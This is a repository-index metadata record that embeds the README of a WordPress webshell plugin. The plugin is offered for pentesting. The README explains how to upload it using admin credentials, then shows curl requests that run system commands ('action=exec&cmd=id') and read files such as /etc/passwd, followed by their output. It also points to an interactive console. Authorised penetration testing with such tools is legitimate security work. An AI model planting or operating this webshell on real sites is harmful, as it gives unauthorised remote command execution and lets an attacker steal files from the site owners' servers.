{"id":17994941,"url":"https://github.com/p0dalirius/wordpress-webshell-plugin","last_synced_at":"2025-06-25T14:33:29.701Z","repository":{"id":41382027,"uuid":"495434783","full_name":"p0dalirius/Wordpress-webshell-plugin","owner":"p0dalirius","description":"A webshell plugin and interactive shell for pentesting a WordPress website. ","archived":false,"fork":false,"pushed_at":"2023-06-14T09:36:23.000Z","size":2544,"stargazers_count":84,"open_issues_count":0,"forks_count":16,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-04-06T18:22:24.349Z","etag":null,"topics":["plugin","webshell","wordpress"],"latest_commit_sha":null,"homepage":"https://podalirius.net/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/p0dalirius.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":"p0dalirius","patreon":"Podalirius"}},"created_at":"2022-05-23T14:00:21.000Z","updated_at":"2025-03-04T18:08:06.000Z","dependencies_parsed_at":"2024-10-29T21:03:23.080Z","dependency_job_id":null,"html_url":"https://github.com/p0dalirius/Wordpress-webshell-plugin","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/p0dalirius/Wordpress-webshell-plugin","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FWordpress-webshell-plugin","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FWordpress-webshell-plugin/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FWordpress-webshell-plugin/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FWordpress-webshell-plugin/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/p0dalirius","download_url":"https://codeload.github.com/p0dalirius/Wordpress-webshell-plugin/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FWordpress-webshell-plugin/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":261892048,"owners_count":23225845,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["plugin","webshell","wordpress"],"created_at":"2024-10-29T20:17:15.389Z","updated_at":"2025-06-25T14:33:29.652Z","avatar_url":"https://github.com/p0dalirius.png","language":"Python","readme":"# WordPress webshell plugin for RCE\n\n\u003cp align=\"center\"\u003e\n    A webshell plugin and interactive shell for pentesting a WordPress website.\n    \u003cbr\u003e\n    \u003cimg alt=\"GitHub release (latest by date)\" src=\"https://img.shields.io/github/v/release/p0dalirius/WordPress-webshell-plugin\"\u003e\n    \u003ca href=\"https://twitter.com/intent/follow?screen_name=podalirius_\" title=\"Follow\"\u003e\u003cimg src=\"https://img.shields.io/twitter/follow/podalirius_?label=Podalirius\u0026style=social\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://www.youtube.com/c/Podalirius_?sub_confirmation=1\" title=\"Subscribe\"\u003e\u003cimg alt=\"YouTube Channel Subscribers\" src=\"https://img.shields.io/youtube/channel/subscribers/UCF_x5O7CSfr82AfNVTKOv_A?style=social\"\u003e\u003c/a\u003e\n    \u003cbr\u003e\n\u003c/p\u003e\n\n## Features\n\n - [x] Webshell plugin for WordPress.\n - [x] Execute system commands via an API with `?action=exec`.\n - [x] Download files from the remote system to your attacking machine with `?action=download`.\n\n## Usage\n\n**Requirements**: You need to have the credentials of the `admin` account of the WordPress website.\n\n### Step 1: Upload the webshell plugin\n\nFirst, login with admin rights on the WordPress website and go to \"_Plugins --\u003e Add New_\" page, at http://127.0.0.1:10080/wordpress/wp-admin/plugin-install.php, and click on \"Upload Plugin\":\n\n![](./.github/plugin_add_new.png)\n\nUpload the plugin, and click on \"_Activate the plugin_\":\n\n![](./.github/activate_plugin.png)\n\n### Step 2.1: Executing commands\n\nYou can now execute commands by sending a GET or POST request to 127.0.0.1:10080/wordpress/wp-content/plugins/wp_webshell/wp_webshell.php with `action=exec\u0026cmd=id`:\n\n```sh\n$ curl -X POST '127.0.0.1:10080/wordpress/wp-content/plugins/wp_webshell/wp_webshell.php' --data \"action=exec\u0026cmd=id\"\n{\"stdout\":\"uid=33(www-data) gid=33(www-data) groups=33(www-data)\\n\",\"exec\":\"id\"}\n```\n\nYou can also access it by a GET request from a browser:\n\n![](./.github/exec_code_web.png)\n\n### Step 2.2: Downloading files\n\nYou can also download remote files by sending a GET or POST request to 127.0.0.1:10080/wordpress/wp-content/plugins/wp_webshell/wp_webshell.php with `action=download\u0026cmd=/etc/passwd`:\n\n```sh\n$ curl -X POST '127.0.0.1:10080/wordpress/wp-content/plugins/wp_webshell/wp_webshell.php' --data \"action=download\u0026path=/etc/passwd\" -o-\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nmysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false\n```\n\nYou can also download a remote file from a browser with a GET request :\n\n![](./.github/download_file_web.png)\n\n### Step 3: The interactive console\n\nWhen your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files.\n\nhttps://user-images.githubusercontent.com/79218792/169876672-7ecd50a4-21f8-47d3-a575-ff2b81b5ec22.mp4\n\n## References\n - https://developer.wordpress.org/plugins/intro/\n","funding_links":["https://github.com/sponsors/p0dalirius","https://patreon.com/Podalirius"],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fp0dalirius%2Fwordpress-webshell-plugin","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fp0dalirius%2Fwordpress-webshell-plugin","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fp0dalirius%2Fwordpress-webshell-plugin/lists"}